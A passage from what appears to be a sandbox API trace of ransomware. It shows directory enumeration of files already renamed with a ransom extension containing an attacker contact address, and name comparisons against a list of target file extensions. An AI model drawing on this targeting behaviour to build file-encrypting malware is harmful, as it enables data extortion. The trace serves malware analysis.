ftLastWriteTime.dwLowDateTime=0xa94e5cfa, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate8.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROA8AA~1.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94bf93e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94bf93e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa950bda2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Save.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SAVEIC~1.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94e5cfa, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94e5cfa, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99fd8b1, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Setup.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPI~1.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa950bda2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa950bda2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a1cda9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="stop.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="STOPIC~1.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa99845fa, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa99845fa, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99845fa, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SysReqMet.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SYSREQ~1.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa99ad45e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa99ad45e, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99fd8b1, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SysReqNotMet.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SYSREQ~2.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9bf6242, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9bf6242, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9c0cd8c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="warn.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WARNIC~1.LOV")) returned 1 [0223.487] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9bf6242, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9bf6242, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9c0cd8c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="warn.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WARNIC~1.LOV")) returned 0 [0223.487] FindClose (in: hFindFile=0x6d0488 | out: hFindFile=0x6d0488) returned 1 [0223.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.488] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ee7633, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ee7633, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ee7633, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="header.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="HEADER~1.LOV")) returned 1 [0223.488] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xac627335, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="netfx_Core.mzz.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~1.LOV")) returned 1 [0223.488] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xab03fbfa, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="netfx_Core_x64.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~2.LOV")) returned 1 [0223.488] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9b4e153, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9b4e153, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa31a878, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="netfx_Core_x86.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~3.LOV")) returned 1 [0223.489] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xaff554e9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="netfx_Extended.mzz.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NETFX_~4.LOV")) returned 1 [0223.489] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa6ae05b, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa6ae05b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa92fb2d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="netfx_Extended_x64.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NEFFC2~1.LOV")) returned 1 [0223.489] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa9a2121, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa9a2121, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaaa961a9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="netfx_Extended_x86.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="NE61F3~1.LOV")) returned 1 [0223.489] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9f07c92, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9f07c92, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa4257f8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="ParameterInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARAME~1.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaac86109, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaac86109, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaad6aefd, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="RGB9RAST_x64.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="RGB9RA~1.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaad91033, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaad91033, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaae03800, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="RGB9Rast_x86.msi.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="RGB9RA~2.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaae03800, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaae03800, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab196f7c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Setup.exe.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPE~1.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab03fbfa, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab03fbfa, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab31481f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="SetupEngine.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPE~2.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab1bd37c, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab1bd37c, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab2098e3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="SetupUi.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPU~2.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9facd9f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9facd9f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa092042, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="SetupUi.xsd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPU~1.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab681c15, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab681c15, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab7d91ce, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="SetupUtility.exe.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPU~3.LOV")) returned 1 [0223.490] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa0b8390, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa0b8390, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa1045ed, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="SplashScreen.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SPLASH~1.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xab6f456d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xab6f456d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xab6f456d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="sqmapi.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SQMAPI~1.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa472c96, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa472c96, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa497ec7, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Strings.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="STRING~1.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa472c96, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa472c96, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa53082b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa497ec7, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa497ec7, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa4be13f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="watermark.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WATERM~1.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xad9b7d19, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~1.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xacf6f9d9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~2.LOV")) returned 1 [0223.491] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xaed408da, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~3.LOV")) returned 1 [0223.492] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xaed408da, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~4.LOV")) returned 1 [0223.492] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xaed408da, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~4.LOV")) returned 0 [0223.492] FindClose (in: hFindFile=0x6d0008 | out: hFindFile=0x6d0008) returned 1 [0223.493] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3230048 | out: hHeap=0x670000) returned 1 [0223.494] FindNextFileW (in: hFindFile=0x6d0088, lpFindFileData=0x2e8fcf8 | out: lpFindFileData=0x2e8fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0223.494] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x3230048 [0223.495] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName=".", cAlternateFileName="")) returned 0x6d0348 [0223.496] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="..", cAlternateFileName="")) returned 1 [0223.497] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="BCD", cAlternateFileName="")) returned 1 [0223.501] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0223.501] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0223.501] lstrlenW (lpString="BCD.LOG1") returned 8 [0223.501] lstrlenW (lpString=".1cd") returned 4 [0223.501] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0223.501] lstrlenW (lpString=".3ds") returned 4 [0223.501] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0223.501] lstrlenW (lpString=".3fr") returned 4 [0223.501] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0223.501] lstrlenW (lpString=".3g2") returned 4 [0223.501] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0223.501] lstrlenW (lpString=".3gp") returned 4 [0223.502] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".7z") returned 3 [0223.502] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0223.502] lstrlenW (lpString=".accda") returned 6 [0223.502] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0223.502] lstrlenW (lpString=".accdb") returned 6 [0223.502] lstrcmpiW (lpString1=".accdb", lpString2="D.LOG1") returned -1 [0223.502] lstrlenW (lpString=".accdc") returned 6 [0223.502] lstrcmpiW (lpString1=".accdc", lpString2="D.LOG1") returned -1 [0223.502] lstrlenW (lpString=".accde") returned 6 [0223.502] lstrcmpiW (lpString1=".accde", lpString2="D.LOG1") returned -1 [0223.502] lstrlenW (lpString=".accdt") returned 6 [0223.502] lstrcmpiW (lpString1=".accdt", lpString2="D.LOG1") returned -1 [0223.502] lstrlenW (lpString=".accdw") returned 6 [0223.502] lstrcmpiW (lpString1=".accdw", lpString2="D.LOG1") returned -1 [0223.502] lstrlenW (lpString=".adb") returned 4 [0223.502] lstrcmpiW (lpString1=".adb", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".adp") returned 4 [0223.502] lstrcmpiW (lpString1=".adp", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".ai") returned 3 [0223.502] lstrcmpiW (lpString1=".ai", lpString2="OG1") returned -1 [0223.502] lstrlenW (lpString=".ai3") returned 4 [0223.502] lstrcmpiW (lpString1=".ai3", lpString2="LOG1") returned -1 [0223.502] lstrlenW (lpString=".ai4") returned 4 [0223.502] 